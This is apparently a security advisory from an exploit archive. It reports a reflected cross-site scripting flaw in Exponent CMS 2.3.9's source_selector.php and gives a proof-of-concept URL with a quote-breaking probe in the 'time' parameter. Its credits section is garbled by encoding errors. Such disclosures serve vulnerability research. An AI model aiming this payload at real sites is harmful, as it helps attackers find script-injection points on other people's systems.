Exponent CMS 2.3.9 Cross Site Scripting

`========================================================================  
| # Title : Exponent CMS versions 2.3.9 XSS vulnerability  
| # Author : indoushka  
| # email : [email protected]  
| # Tested on : windows 8.1 FranASSais V.(Pro)  
| # Version : 2.3.9  
| # Vendor : https://sourceforge.net/projects/exponentcms/files/exponent-2.3.9.zip/download  
| # Dork : n/a  
========================================================================  
  
poc :  
  
  
This vulnerability affects :/source_selector.php.   
  
Attack details :  
  
URL encoded GET input time was set to 1485925200_947776'():;988077  
  
The input is reflected inside <script> tag between single quotes.  
  
poc :  
  
/source_selector.php?action=showall&module=event&src=@random48e7cc857e641&time=1485925200_947776'():;988077  
  
Greetz : aua'>>a'1/2a'1/2a'dega'deg aua'degaua'degau a'>>a'*a'*auaua'>>------au-auau-a'deg a'degaua'degauPSaua'3a'>>au-------- aua'degauau!a'>>auau aua'degauaua'*oauaua'degau ------  
|  
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn |  
|  
===================== pa'degaua'1/2a'>>au auauoauau aua'>>auauauauauauC/ =============================  
`